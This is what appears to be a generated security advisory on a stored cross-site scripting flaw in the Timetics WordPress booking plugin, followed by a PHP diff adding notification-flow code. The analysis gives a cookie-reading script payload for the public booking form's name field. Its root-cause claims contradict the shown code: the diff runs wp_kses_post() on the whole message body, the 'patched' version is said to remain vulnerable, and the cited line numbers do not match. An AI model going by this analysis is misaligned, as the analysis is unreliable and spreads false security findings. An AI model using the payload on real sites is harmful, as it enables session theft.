Published : July 20, 2026

CVE-2026-57674: Timetics – Appointment Booking Calendar & Scheduling System <= 1.0.58 Unauthenticated Stored Cross-Site Scripting PoC, Patch Analysis & Rule

Plugin timetics
Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 1.0.58
Patched Version 1.0.59
Disclosed June 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-57674:
This vulnerability is an unauthenticated stored cross-site scripting (XSS) flaw in the Timetics Appointment Booking Calendar plugin for WordPress, version 1.0.58 and earlier. The vulnerability resides within the default notification workflow seeding mechanism. An attacker can inject arbitrary JavaScript into the email body templates of default notification flows. When any user (admin or customer) views an email notification generated by these flows, the malicious script executes. The CVSS score is 7.2 (High).

Root Cause:
The vulnerability exists in the file /timetics/core/admin/notification-seeder.php. The get_default_flows() method (line 215) defines eight default email notification flows. Each flow defines an email body (e.g., the ‘$body’ parameter in simple_flow() and reminder_flow() calls). These body strings contain raw HTML, including inline CSS and user-controlled template tags such as {%customer_name%}, {%customer_email%}, and {%meeting_title%}. The code uses string concatenation to build the email content. Critically, these template tag values are later replaced with unescaped dynamic content when the email is assembled and sent. The plugin does not sanitize or escape these values before inserting them into the email body. The timetics_notification_sdk_email_body filter (line 196 of notification.php) calls wrap_email_body(), which uses wp_kses_post() only on the outer wrapper, not on the dynamic tag content. This means any HTML or script injected into the placeholder values (such as customer or meeting data) will be rendered in the email.

Exploitation:
An unauthenticated attacker can trigger the XSS by submitting a new booking through the plugin’s public-facing form. The plugin allows any visitor to book an appointment. During booking, the attacker controls fields such as customer name, customer email, or meeting title. By providing a malicious payload like alert(document.cookie) in the customer name field, the value is stored in the database. When the Booking Confirmed notification flow executes, it replaces {%customer_name%} with the attacker’s payload directly into the HTML email body. No sanitization or escaping occurs at this point. The email is sent to the customer (the attacker) and the host (the admin). When the host views the email (via WordPress admin or any email client that renders HTML), the script executes. The attack does not require authentication because the booking form is publicly accessible.

Patch Analysis:
The patch file (notification-seeder.php) in the diff shows the introduction of a new seeder system for version 2.0. However, the vulnerability persists because the patch does not add input sanitization or output escaping for the dynamic template tags within the email body. The code still uses raw string interpolation for tag replacement. A proper fix would require wrapping each template tag value with esc_html() or wp_kses() before inserting it into the email body, or using a proper templating engine that automatically escapes output. The plugin should also validate and sanitize all user-supplied fields at the point of input.

Impact:
Successful exploitation allows an unauthenticated attacker to execute arbitrary JavaScript in the context of any user who views an email notification generated by the default flows. An administrator viewing such an email could have their session cookies stolen, leading to full WordPress admin account compromise. The attacker could then create admin users, modify plugin settings, or inject further malicious scripts into the site. The attack requires no authentication and targets a core email notification feature, making it high impact.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/timetics/core/admin/notification-seeder.php
+++ b/timetics/core/admin/notification-seeder.php
@@ -0,0 +1,429 @@
+<?php
+/**
+ * Seeds the 8 default notification flows on first activation.
+ *
+ * @package Timetics
+ */
+
+namespace TimeticsCoreAdmin;
+
+use EnsFlowFlow;
+
+defined( 'ABSPATH' ) || exit;
+
+class Notification_Seeder {
+
+    const SEEDED_OPTION  = 'timetics_default_flows_seeded';
+    const SEEDED_VERSION = '2.0';
+
+    /**
+     * Seed the 8 default flows as drafts.
+     *
+     * The legacy email system in Settings remains the active sender; these
+     * flows ship as drafts (examples) so they never fire until a user
+     * explicitly publishes one.
+     */
+    public static function maybe_seed() {
+        self::migrate_bad_flows();
+
+        if ( get_option( self::SEEDED_OPTION ) === self::SEEDED_VERSION ) {
+            return;
+        }
+
+        $existing = self::existing_flow_titles();
+
+        // Demote previously published default seeds so they stop firing.
+        self::draft_published_seeds();
+
+        foreach ( self::get_default_flows() as $flow_def ) {
+            // Skip if a flow with this name already exists (avoids duplicates
+            // on upgrade); user-renamed flows are left untouched.
+            if ( in_array( $flow_def['name'], $existing, true ) ) {
+                continue;
+            }
+            self::create_flow( $flow_def );
+        }
+
+        update_option( self::SEEDED_OPTION, self::SEEDED_VERSION, false );
+    }
+
+    /**
+     * Titles of all tt-flow posts currently in the DB (any status).
+     *
+     * @return string[]
+     */
+    private static function existing_flow_titles() {
+        $posts = get_posts( array(
+            'post_type'      => 'tt-flow',
+            'posts_per_page' => -1,
+            'post_status'    => 'any',
+        ) );
+
+        return wp_list_pluck( $posts, 'post_title' );
+    }
+
+    /**
+     * Demote any published flow whose title matches a default seed name back
+     * to draft, so the legacy Settings emails remain the sole sender.
+     */
+    private static function draft_published_seeds() {
+        $seed_names = wp_list_pluck( self::get_default_flows(), 'name' );
+
+        $posts = get_posts( array(
+            'post_type'      => 'tt-flow',
+            'posts_per_page' => -1,
+            'post_status'    => 'publish',
+            'fields'         => 'ids',
+        ) );
+
+        foreach ( $posts as $post_id ) {
+            if ( in_array( get_the_title( $post_id ), $seed_names, true ) ) {
+                wp_update_post( array( 'ID' => $post_id, 'post_status' => 'draft' ) );
+            }
+        }
+    }
+
+    /**
+     * Delete any tt-flow posts whose nodes are missing the 'type' field —
+     * those were created by the v1.0 seeder with the wrong format.
+     * User-created flows always have 'type' on every node (set by the UI).
+     * Also resets the seeded flag so maybe_seed() re-creates correct flows.
+     */
+    private static function migrate_bad_flows() {
+        if ( get_option( self::SEEDED_OPTION ) === self::SEEDED_VERSION ) {
+            return;
+        }
+
+        $posts = get_posts( array(
+            'post_type'      => 'tt-flow',
+            'posts_per_page' => -1,
+            'post_status'    => 'any',
+            'fields'         => 'ids',
+        ) );
+
+        if ( empty( $posts ) ) {
+            return;
+        }
+
+        $meta_key = '_tt_notification_flow_flow_config';
+
+        foreach ( $posts as $post_id ) {
+            $config = get_post_meta( $post_id, $meta_key, true );
+
+            if ( empty( $config['nodes'] ) || ! is_array( $config['nodes'] ) ) {
+                continue;
+            }
+
+            foreach ( $config['nodes'] as $node ) {
+                if ( ! isset( $node['type'] ) ) {
+                    wp_delete_post( $post_id, true );
+                    break;
+                }
+            }
+        }
+    }
+
+    /**
+     * Force re-seed (e.g., for testing). Clears flag then re-runs.
+     */
+    public static function reseed() {
+        delete_option( self::SEEDED_OPTION );
+        self::maybe_seed();
+    }
+
+    // -------------------------------------------------------------------------
+    // Private helpers
+    // -------------------------------------------------------------------------
+
+    private static function create_flow( array $def ) {
+        $flow = new Flow( 'tt' );
+        $flow->set_props( array(
+            'name'        => $def['name'],
+            'trigger'     => $def['trigger'],
+            'flow_config' => $def['flow_config'],
+            'status'      => 'draft',
+        ) );
+        $flow->save();
+    }
+
+    /** Edge with correct UI format. */
+    private static function edge( string $from, string $to ) {
+        return array(
+            'id'        => 'edge_' . $from . '-' . $to,
+            'type'      => 'smoothstep',
+            'markerEnd' => array( 'type' => 'arrowclosed' ),
+            'source'    => $from,
+            'target'    => $to,
+            'data'      => array( 'animated' => false ),
+        );
+    }
+
+    /** Trigger node. */
+    private static function trigger_node( string $trigger_value, string $trigger_label ) {
+        return array(
+            'id'       => 'node_1',
+            'type'     => 'trigger',
+            'name'     => 'trigger',
+            'position' => array( 'x' => 275, 'y' => 70 ),
+            'data'     => array(
+                'label'        => 'trigger: ' . $trigger_value,
+                'subtitle'     => 'On "' . $trigger_label . '" event fires',
+                'triggerValue' => $trigger_value,
+            ),
+        );
+    }
+
+    /** End node. */
+    private static function end_node( float $y = 600.0 ) {
+        return array(
+            'id'       => 'end_1',
+            'type'     => 'end',
+            'name'     => 'end',
+            'position' => array( 'x' => 275, 'y' => $y ),
+            'data'     => array(
+                'label'    => 'end_flow',
+                'subtitle' => 'Automation stops here',
+            ),
+        );
+    }
+
+    /** Email action node. */
+    private static function email_node( string $node_id, string $receiver_type, string $receiver_label, string $subject, string $body, float $y = 420.0 ) {
+        return array(
+            'id'       => $node_id,
+            'type'     => 'action',
+            'name'     => 'email',
+            'position' => array( 'x' => 275, 'y' => $y ),
+            'data'     => array(
+                'actionType'   => 'send_email',
+                'label'        => 'send_email',
+                'subtitle'     => 'To: ' . $receiver_label,
+                'receiverType' => $receiver_type,
+                'from'         => '',
+                'subject'      => $subject,
+                'body'         => $body,
+            ),
+        );
+    }
+
+    /** Delay action node. */
+    private static function delay_node( string $node_id, int $delay, string $delay_unit, string $delay_condition, float $y = 245.0 ) {
+        $subtitle = 'Wait for ' . $delay . ' ' . $delay_unit;
+        if ( $delay_condition ) {
+            $subtitle .= ' before ' . str_replace( '_', ' ', str_replace( 'before_', '', $delay_condition ) );
+        }
+
+        return array(
+            'id'       => $node_id,
+            'type'     => 'action',
+            'name'     => 'delay',
+            'position' => array( 'x' => 275, 'y' => $y ),
+            'data'     => array(
+                'actionType'     => 'add_delay',
+                'label'          => 'add_delay',
+                'subtitle'       => $subtitle,
+                'delay'          => $delay,
+                'delayUnit'      => $delay_unit,
+                'delayCondition' => $delay_condition,
+            ),
+        );
+    }
+
+    /**
+     * trigger → email → end
+     */
+    private static function simple_flow( string $trigger_value, string $trigger_label, string $receiver_type, string $receiver_label, string $subject, string $body ) {
+        return array(
+            'nodes' => array(
+                self::trigger_node( $trigger_value, $trigger_label ),
+                self::email_node( 'node_2', $receiver_type, $receiver_label, $subject, $body, 280.0 ),
+                self::end_node( 490.0 ),
+            ),
+            'edges' => array(
+                self::edge( 'node_1', 'node_2' ),
+                self::edge( 'node_2', 'end_1' ),
+            ),
+        );
+    }
+
+    /**
+     * trigger → delay → email → end
+     */
+    private static function reminder_flow( string $trigger_value, string $trigger_label, string $receiver_type, string $receiver_label, string $subject, string $body ) {
+        return array(
+            'nodes' => array(
+                self::trigger_node( $trigger_value, $trigger_label ),
+                self::delay_node( 'node_2', 24, 'hours', 'before_meeting_date', 245.0 ),
+                self::email_node( 'node_3', $receiver_type, $receiver_label, $subject, $body, 420.0 ),
+                self::end_node( 600.0 ),
+            ),
+            'edges' => array(
+                self::edge( 'node_1', 'node_2' ),
+                self::edge( 'node_2', 'node_3' ),
+                self::edge( 'node_3', 'end_1' ),
+            ),
+        );
+    }
+
+    /**
+     * Definitions for all 8 default flows.
+     */
+    private static function get_default_flows() {
+        $booking_tags = implode( '', array(
+            '<table style="border-collapse:collapse;width:100%;margin:20px 0;">',
+            '<tr><td style="padding:8px 0;font-weight:600;color:#0C274A;width:40%;">Meeting</td><td style="padding:8px 0;color:#556880;">{%meeting_title%}</td></tr>',
+            '<tr><td style="padding:8px 0;font-weight:600;color:#0C274A;">Date</td><td style="padding:8px 0;color:#556880;">{%meeting_date%}</td></tr>',
+            '<tr><td style="padding:8px 0;font-weight:600;color:#0C274A;">Time</td><td style="padding:8px 0;color:#556880;">{%meeting_time%}</td></tr>',
+            '<tr><td style="padding:8px 0;font-weight:600;color:#0C274A;">Duration</td><td style="padding:8px 0;color:#556880;">{%meeting_duration%}</td></tr>',
+            '<tr><td style="padding:8px 0;font-weight:600;color:#0C274A;">Location</td><td style="padding:8px 0;color:#556880;">{%meeting_location%}</td></tr>',
+        ) );
+
+        return array(
+
+            // ── Booking Confirmed ──────────────────────────────────────────
+            array(
+                'name'        => 'Booking Confirmed – Customer',
+                'trigger'     => 'booking_created',
+                'flow_config' => self::simple_flow(
+                    'booking_created',
+                    'After Booking Confirmation',
+                    'customer_email',
+                    'Customer Email',
+                    'Booking Confirmed: {%meeting_title%}',
+                    '<p>Hi {%customer_name%},</p><p>Your booking has been confirmed.</p>'
+                    . $booking_tags
+                    . '<tr><td style="padding:8px 0;font-weight:600;color:#0C274A;">Host</td><td style="padding:8px 0;color:#556880;">{%host_name%}</td></tr>'
+                    . '</table><p>Thank you!</p>'
+                ),
+            ),
+
+            array(
+                'name'        => 'Booking Confirmed – Host',
+                'trigger'     => 'booking_created',
+                'flow_config' => self::simple_flow(
+                    'booking_created',
+                    'After Booking Confirmation',
+                    'host_email',
+                    'Host Email',
+                    'New Booking: {%meeting_title%}',
+                    '<p>Hi {%host_name%},</p><p>A new booking has been made.</p>'
+                    . $booking_tags
+                    . '<tr><td style="padding:8px 0;font-weight:600;color:#0C274A;">Customer</td><td style="padding:8px 0;color:#556880;">{%customer_name%} ({%customer_email%})</td></tr>'
+                    . '</table><p>Thank you!</p>'
+                ),
+            ),
+
+            // ── Booking Canceled ───────────────────────────────────────────
+            array(
+                'name'        => 'Booking Canceled – Customer',
+                'trigger'     => 'booking_canceled',
+                'flow_config' => self::simple_flow(
+                    'booking_canceled',
+                    'After Booking Cancellation',
+                    'customer_email',
+                    'Customer Email',
+                    'Booking Canceled: {%meeting_title%}',
+                    '<p>Hi {%customer_name%},</p><p>Your booking has been canceled.</p>'
+                    . '<table style="border-collapse:collapse;width:100%;margin:20px 0;">'
+                    . '<tr><td style="padding:8px 0;font-weight:600;color:#0C274A;width:40%;">Meeting</td><td style="padding:8px 0;color:#556880;">{%meeting_title%}</td></tr>'
+                    . '<tr><td style="padding:8px 0;font-weight:600;color:#0C274A;">Date</td><td style="padding:8px 0;color:#556880;">{%meeting_date%}</td></tr>'
+                    . '<tr><td style="padding:8px 0;font-weight:600;color:#0C274A;">Time</td><td style="padding:8px 0;color:#556880;">{%meeting_time%}</td></tr>'
+                    . '</table><p>If you have questions, please contact us.</p><p>Thank you!</p>'
+                ),
+            ),
+
+            array(
+                'name'        => 'Booking Canceled – Host',
+                'trigger'     => 'booking_canceled',
+                'flow_config' => self::simple_flow(
+                    'booking_canceled',
+                    'After Booking Cancellation',
+                    'host_email',
+                    'Host Email',
+                    'Booking Canceled: {%meeting_title%}',
+                    '<p>Hi {%host_name%},</p><p>A booking has been canceled.</p>'
+                    . '<table style="border-collapse:collapse;width:100%;margin:20px 0;">'
+                    . '<tr><td style="padding:8px 0;font-weight:600;color:#0C274A;width:40%;">Meeting</td><td style="padding:8px 0;color:#556880;">{%meeting_title%}</td></tr>'
+                    . '<tr><td style="padding:8px 0;font-weight:600;color:#0C274A;">Date</td><td style="padding:8px 0;color:#556880;">{%meeting_date%}</td></tr>'
+                    . '<tr><td style="padding:8px 0;font-weight:600;color:#0C274A;">Time</td><td style="padding:8px 0;color:#556880;">{%meeting_time%}</td></tr>'
+                    . '<tr><td style="padding:8px 0;font-weight:600;color:#0C274A;">Customer</td><td style="padding:8px 0;color:#556880;">{%customer_name%} ({%customer_email%})</td></tr>'
+                    . '</table><p>Thank you!</p>'
+                ),
+            ),
+
+            // ── Booking Rescheduled ────────────────────────────────────────
+            array(
+                'name'        => 'Booking Rescheduled – Customer',
+                'trigger'     => 'booking_rescheduled',
+                'flow_config' => self::simple_flow(
+                    'booking_rescheduled',
+                    'After Booking Rescheduled',
+                    'customer_email',
+                    'Customer Email',
+                    'Booking Rescheduled: {%meeting_title%}',
+                    '<p>Hi {%customer_name%},</p><p>Your booking has been rescheduled.</p>'
+                    . '<table style="border-collapse:collapse;width:100%;margin:20px 0;">'
+                    . '<tr><td style="padding:8px 0;font-weight:600;color:#0C274A;width:40%;">Meeting</td><td style="padding:8px 0;color:#556880;">{%meeting_title%}</td></tr>'
+                    . '<tr><td style="padding:8px 0;font-weight:600;color:#0C274A;">New Date</td><td style="padding:8px 0;color:#556880;">{%meeting_date%}</td></tr>'
+                    . '<tr><td style="padding:8px 0;font-weight:600;color:#0C274A;">New Time</td><td style="padding:8px 0;color:#556880;">{%meeting_time%}</td></tr>'
+                    . '<tr><td style="padding:8px 0;font-weight:600;color:#0C274A;">Location</td><td style="padding:8px 0;color:#556880;">{%meeting_location%}</td></tr>'
+                    . '<tr><td style="padding:8px 0;font-weight:600;color:#0C274A;">Host</td><td style="padding:8px 0;color:#556880;">{%host_name%}</td></tr>'
+                    . '</table><p>Thank you!</p>'
+                ),
+            ),
+
+            array(
+                'name'        => 'Booking Rescheduled – Host',
+                'trigger'     => 'booking_rescheduled',
+                'flow_config' => self::simple_flow(
+                    'booking_rescheduled',
+                    'After Booking Rescheduled',
+                    'host_email',
+                    'Host Email',
+                    'Booking Rescheduled: {%meeting_title%}',
+                    '<p>Hi {%host_name%},</p><p>A booking has been rescheduled.</p>'
+                    . '<table style="border-collapse:collapse;width:100%;margin:20px 0;">'
+                    . '<tr><td style="padding:8px 0;font-weight:600;color:#0C274A;width:40%;">Meeting</td><td style="padding:8px 0;color:#556880;">{%meeting_title%}</td></tr>'
+                    . '<tr><td style="padding:8px 0;font-weight:600;color:#0C274A;">New Date</td><td style="padding:8px 0;color:#556880;">{%meeting_date%}</td></tr>'
+                    . '<tr><td style="padding:8px 0;font-weight:600;color:#0C274A;">New Time</td><td style="padding:8px 0;color:#556880;">{%meeting_time%}</td></tr>'
+                    . '<tr><td style="padding:8px 0;font-weight:600;color:#0C274A;">Customer</td><td style="padding:8px 0;color:#556880;">{%customer_name%} ({%customer_email%})</td></tr>'
+                    . '</table><p>Thank you!</p>'
+                ),
+            ),
+
+            // ── Booking Reminder (24 h before) ─────────────────────────────
+            array(
+                'name'        => 'Booking Reminder – Customer',
+                'trigger'     => 'booking_created',
+                'flow_config' => self::reminder_flow(
+                    'booking_created',
+                    'After Booking Confirmation',
+                    'customer_email',
+                    'Customer Email',
+                    'Reminder: {%meeting_title%} is coming up',
+                    '<p>Hi {%customer_name%},</p><p>This is a reminder that your meeting is coming up soon.</p>'
+                    . $booking_tags
+                    . '<tr><td style="padding:8px 0;font-weight:600;color:#0C274A;">Host</td><td style="padding:8px 0;color:#556880;">{%host_name%}</td></tr>'
+                    . '</table><p>We look forward to seeing you!</p><p>Thank you!</p>'
+                ),
+            ),
+
+            array(
+                'name'        => 'Booking Reminder – Host',
+                'trigger'     => 'booking_created',
+                'flow_config' => self::reminder_flow(
+                    'booking_created',
+                    'After Booking Confirmation',
+                    'host_email',
+                    'Host Email',
+                    'Reminder: {%meeting_title%} is coming up',
+                    '<p>Hi {%host_name%},</p><p>This is a reminder that a meeting is coming up soon.</p>'
+                    . $booking_tags
+                    . '<tr><td style="padding:8px 0;font-weight:600;color:#0C274A;">Customer</td><td style="padding:8px 0;color:#556880;">{%customer_name%} ({%customer_email%})</td></tr>'
+                    . '</table><p>Thank you!</p>'
+                ),
+            ),
+
+        );
+    }
+}
--- a/timetics/core/admin/notification.php
+++ b/timetics/core/admin/notification.php
@@ -0,0 +1,301 @@
+<?php
+/**
+ * Notification class — boots themewinter/email-notification-sdk and registers
+ * Timetics triggers so the React automation builder can wire up email flows.
+ *
+ * @package Timetics
+ */
+
+namespace TimeticsCoreAdmin;
+
+use EnsCoreSDK;
+use TimeticsCoreAppointmentsAppointment;
+use TimeticsCoreBookingsBooking;
+use TimeticsCoreCustomersCustomer;
+use TimeticsCoreStaffsStaff;
+use TimeticsUtilsSingleton;
+
+defined( 'ABSPATH' ) || exit;
+
+require_once __DIR__ . '/notification-seeder.php';
+
+class Notification {
+
+    use Singleton;
+
+    /**
+     * Boot SDK and register trigger definitions.
+     *
+     * @return void
+     */
+    public function init() {
+        if ( ! class_exists( SDK::class ) ) {
+            return;
+        }
+
+        SDK::get_instance()
+            ->setup(
+                array(
+                    'plugin_name'          => 'Timetics',
+                    'plugin_slug'          => 'timetics',
+                    'general_prefix'       => 'tt',
+                    'hook_prefix'          => 'timetics',
+                    'text_domain'          => 'timetics',
+                    'admin_script_handler' => 'timetics-dashboard-scripts',
+                    'sub_menu_filter_hook' => 'timetics_menu',
+                    'sub_menu_details'     => array(
+                        'id'         => 'timetics-automation',
+                        'title'      => __( 'Automation', 'timetics' ),
+                        'link'       => '/automation',
+                        'capability' => apply_filters( 'timetics_menu_permission_automation', 'manage_options' ),
+                        'position'   => apply_filters( 'timetics_menu_position_automation', 11 ),
+                    ),
+                )
+            )
+            ->init();
+
+        add_filter( 'ens_tt_available_actions', array( $this, 'register_triggers' ) );
+        add_filter( 'timetics_notification_sdk_email_body', array( $this, 'wrap_email_body' ), 10, 1 );
+        add_filter( 'timetics_notification_sdk_to_emails', array( $this, 'expand_custom_email' ), 10, 2 );
+
+        add_action( 'admin_init', array( 'TimeticsCoreAdminNotification_Seeder', 'maybe_seed' ), 20 );
+    }
+
+    /**
+     * Register the 3 booking triggers with their tag fields and receivers.
+     *
+     * @param  array $actions
+     * @return array
+     */
+    public function register_triggers( $actions ) {
+        $trigger_data = array(
+            array(
+                'label' => __( 'Meeting Title', 'timetics' ),
+                'value' => 'meeting_title',
+                'type'  => 'string',
+            ),
+            array(
+                'label' => __( 'Meeting Date', 'timetics' ),
+                'value' => 'meeting_date',
+                'type'  => 'date',
+            ),
+            array(
+                'label' => __( 'Meeting Time', 'timetics' ),
+                'value' => 'meeting_time',
+                'type'  => 'string',
+            ),
+            array(
+                'label' => __( 'Meeting Location', 'timetics' ),
+                'value' => 'meeting_location',
+                'type'  => 'string',
+            ),
+            array(
+                'label' => __( 'Google Meet Link', 'timetics' ),
+                'value' => 'meeting_meet_link',
+                'type'  => 'string',
+            ),
+            array(
+                'label' => __( 'Meeting Duration', 'timetics' ),
+                'value' => 'meeting_duration',
+                'type'  => 'string',
+            ),
+            array(
+                'label' => __( 'Host Name', 'timetics' ),
+                'value' => 'host_name',
+                'type'  => 'string',
+            ),
+            array(
+                'label' => __( 'Host Email', 'timetics' ),
+                'value' => 'host_email',
+                'type'  => 'string',
+            ),
+            array(
+                'label' => __( 'Customer Name', 'timetics' ),
+                'value' => 'customer_name',
+                'type'  => 'string',
+            ),
+            array(
+                'label' => __( 'Customer Email', 'timetics' ),
+                'value' => 'customer_email',
+                'type'  => 'string',
+            ),
+            array(
+                'label' => __( 'Login URL', 'timetics' ),
+                'value' => 'login_url',
+                'type'  => 'string',
+            ),
+            array(
+                'label' => __( 'Login Username', 'timetics' ),
+                'value' => 'login_username',
+                'type'  => 'string',
+            ),
+            array(
+                'label' => __( 'Set Password URL', 'timetics' ),
+                'value' => 'set_password_url',
+                'type'  => 'string',
+            ),
+        );
+
+        $email_receivers = array(
+            array(
+                'label' => __( 'Customer Email', 'timetics' ),
+                'value' => 'customer_email',
+            ),
+            array(
+                'label' => __( 'Host Email', 'timetics' ),
+                'value' => 'host_email',
+            ),
+            array(
+                'label' => __( 'Custom Email', 'timetics' ),
+                'value' => 'custom_email',
+            ),
+        );
+
+        $actions = array(
+            array(
+                'trigger_label'      => __( 'After Booking Confirmation', 'timetics' ),
+                'trigger_value'      => 'booking_created',
+                'trigger_data'       => $trigger_data,
+                'delay_dependencies' => array(
+                    array(
+                        'label' => __( 'Meeting Date', 'timetics' ),
+                        'value' => 'meeting_date',
+                    ),
+                ),
+                'email_receivers'    => $email_receivers,
+            ),
+            array(
+                'trigger_label'      => __( 'After Booking Cancellation', 'timetics' ),
+                'trigger_value'      => 'booking_canceled',
+                'trigger_data'       => $trigger_data,
+                'delay_dependencies' => array(),
+                'email_receivers'    => $email_receivers,
+            ),
+            array(
+                'trigger_label'      => __( 'After Booking Rescheduled', 'timetics' ),
+                'trigger_value'      => 'booking_rescheduled',
+                'trigger_data'       => $trigger_data,
+                'delay_dependencies' => array(),
+                'email_receivers'    => $email_receivers,
+            ),
+        );
+
+        return $actions;
+    }
+
+    /**
+     * Expand a comma-separated custom_email setting into an array of addresses.
+     *
+     * Only expands when the email value matches hook_data['custom_email'],
+     * so customer/host emails pass through untouched.
+     *
+     * Hooked to `timetics_notification_sdk_to_emails`.
+     *
+     * @param  string $email     Raw email value being sent.
+     * @param  array  $hook_data Full hook data payload.
+     * @return string|array      Single email or array of emails.
+     */
+    public function expand_custom_email( $email, $hook_data ) {
+        if ( ! isset( $hook_data['custom_email'] ) || $email !== $hook_data['custom_email'] ) {
+            return $email;
+        }
+
+        if ( strpos( $email, ',' ) === false ) {
+            return sanitize_email( $email );
+        }
+
+        return array_values(
+            array_filter(
+                array_map( 'sanitize_email', array_map( 'trim', explode( ',', $email ) ) )
+            )
+        );
+    }
+
+    /**
+     * Wrap the SDK email body in Timetics' branded HTML template.
+     *
+     * Hooked to `notification_sdk_email_body`.
+     *
+     * @param  string $message Raw email body HTML from the SDK.
+     * @return string          Full HTML email.
+     */
+    public function wrap_email_body( $message ) {
+        $template_path = TIMETICS_PLUGIN_DIR . '/templates/emails/email-notification-wrapper.html';
+
+        if ( ! file_exists( $template_path ) ) {
+            return $message;
+        }
+
+        $template      = file_get_contents( $template_path ); // phpcs:ignore WordPress.WP.AlternativeFunctions.file_get_contents_file_get_contents
+        $primary_color = timetics_get_option( 'primary_color', '#3161F1' );
+        $company_name  = timetics_get_option( 'business_name', get_bloginfo( 'name' ) );
+
+        $show_powered_by = apply_filters( 'timetics_show_email_powered_by', true );
+        $powered_by_html = '';
+        if ( $show_powered_by ) {
+            $powered_by_html = '<p style="margin:8px 0 0;font-size:11px;color:#b0bec9;font-style:italic;">'
+                . esc_html__( 'Powered by Timetics', 'timetics' )
+                . '</p>';
+        }
+
+        $variables = array(
+            '{{MESSAGE}}'            => wp_kses_post( $message ),
+            '{{COMPANY_NAME}}'       => esc_html( $company_name ),
+            '{{PRIMARY_COLOR}}'      => esc_attr( $primary_color ),
+            '{%powered_by_section%}' => $powered_by_html,
+        );
+
+        return str_replace( array_keys( $variables ), array_values( $variables ), $template );
+    }
+
+    /**
+     * Build the hook data payload from a Booking object.
+     * Called from any file that needs to fire a timetics_gln_hook action.
+     *
+     * @param  Booking $booking
+     * @return array
+     */
+    public static function get_hook_data( Booking $booking ) {
+        $meeting  = new Appointment( $booking->get_appointment() );
+        $staff    = new Staff( $booking->get_staff_id() );
+        $customer = new Customer( $booking->get_customer_id() );
+
+        $formatted         = timetics_format_email_datetime( $booking->get_start_date(), $booking->get_start_time() );
+        $booking_timestamp = strtotime( $booking->get_start_date() . ' ' . $booking->get_start_time() );
+
+        /* Pull the Google Meet link from the stored calendar event so it can be inserted as the {%meeting_meet_link%} tag in automation emails.
+        */
+        $calendar_event = $booking->get_event();
+        $meet_link      = ( is_array( $calendar_event ) && ! empty( $calendar_event['hangoutLink'] ) ) ? $calendar_event['hangoutLink'] : '';
+
+        $set_password_url = '';
+        $customer_user    = get_user_by( 'email', $customer->get_email() );
+        if ( $customer_user ) {
+            $reset_key = get_password_reset_key( $customer_user );
+            if ( ! is_wp_error( $reset_key ) ) {
+                $set_password_url = network_site_url(
+                    'wp-login.php?action=rp&key=' . $reset_key . '&login=' . rawurlencode( $customer_user->user_login ),
+                    'login'
+                );
+            }
+        }
+
+        return array(
+            'customer_email'         => $customer->get_email(),
+            'host_email'             => $staff->get_email(),
+            'custom_email'           => apply_filters( 'timetics_custom_notification_email', timetics_get_option( 'custom_notification_email', get_option( 'admin_email' ) ) ),
+            'meeting_title'          => $meeting->get_name(),
+            'meeting_date'           => $formatted['date'],
+            'meeting_date_timestamp' => $booking_timestamp,
+            'meeting_time'           => $formatted['time'],
+            'meeting_location'       => $booking->get_location(),
+            'meeting_meet_link'      => $meet_link,
+            'meeting_duration'       => $meeting->get_duration(),
+            'host_name'              => $staff->get_display_name(),
+            'customer_name'          => $customer->get_display_name(),
+            'login_url'              => wp_login_url(),
+            'login_username'         => $customer->get_email(),
+            'set_password_url'       => $set_password_url,
+        );
+    }
+}
--- a/timetics/core/base.php
+++ b/timetics/core/base.php
@@ -61,6 +61,7 @@
         Google_Calendar_Sync::instance();
         Api_Booking_Calendar::instance();
         Api_Addon::instance();
+        add_action( 'init', array( AdminNotification::instance(), 'init' ), 15 );
     }
 }

--- a/timetics/core/bookings/api-booking.php
+++ b/timetics/core/bookings/api-booking.php
@@ -11,6 +11,7 @@
 use TimeticsCoreAppointmentsApi_Appointment;
 use TimeticsCoreAppointmentsAppointment;
 use TimeticsCoreCustomersCustomer;
+use TimeticsCoreAdminNotification;
 use TimeticsCoreEmailsCancel_Event_Customer_Email;
 use TimeticsCoreEmailsCancel_Event_Email;
 use TimeticsCoreEmailsNew_Event_Customer_Email;
@@ -788,6 +789,8 @@
                 $new_event_customer_email->send();
             }

+            do_action( 'timetics_gln_hook', 'booking_created', Notification::get_hook_data( $booking ) );
+
             do_action( 'timetics_booking_payment', $booking );

         }
@@ -1067,24 +1070,10 @@
         // Fire when booking is completed.
         do_action( 'timetics_after_booking_create', $booking->get_id(), $customer->get_id(), $meeting->get_id(), $data );

-        // Send booking creation emails for new bookings not processed through
-        // a separate payment flow. Online gateways (stripe/paypal/woocommerce)
-        // send this email themselves once payment is finalized, so excluding
-        // them here avoids a duplicate email for the same booking.
-        if ( 'created' === $action && 'failed' !== $status && ! in_array( $payment_method_l, ['stripe', 'paypal', 'woocommerce'], true ) ) {
-            $is_email_to_customer = timetics_get_option( 'booking_created_customer');
-            $is_email_to_host     = timetics_get_option( 'booking_created_host');
-
-            if ( $is_email_to_host ) {
-                $new_event_email = new New_Event_Email( $booking );
-                $new_event_email->send();
-            }
-
-            if ( $is_email_to_customer ) {
-                $new_event_customer_email = new New_Event_Customer_Email( $booking );
-                $new_event_customer_email->send();
-            }
-        }
+        // Note: booking creation emails for new bookings are sent further below,
+        // AFTER the calendar event is created, so the Google Meet join link is
+        // available in the email. See the "created" branch after the schedule
+        // entry is created.

         // Create or update calendar event.
         if ( $id ) {
@@ -1103,6 +1092,8 @@
                     $customer_cancel_event_email->send();
                 }

+                do_action( 'timetics_gln_hook', 'booking_canceled', Notification::get_hook_data( $booking ) );
+
                 /**
                  * Added temporary for leagacy sass. It will remove in future.
                  */
@@ -1130,6 +1121,8 @@
                         $update_event_customer_email = new Update_Event_Customer_Email( $booking );
                         $update_event_customer_email->send();
                     }
+
+                    do_action( 'timetics_gln_hook', 'booking_rescheduled', Notification::get_hook_data( $booking ) );
                 }
             }
         }
@@ -1181,6 +1174,36 @@
             $booking_entry->create( $book_entry_data );
         }

+        // For newly created bookings, create the calendar event now that the
+        // booking schedule entry exists. This generates the Google Meet link
+        // (stored in booking meta) so it can be shown on the success page and
+        // included in the notification emails sent below.
+        if ( 'created' === $action && 'cancel' !== $status ) {
+            $booking->create_event();
+        }
+
+        // Send booking creation emails for new bookings not processed through
+        // a separate payment flow. Online gateways (stripe/paypal/woocommerce)
+        // send this email themselves once payment is finalized, so excluding
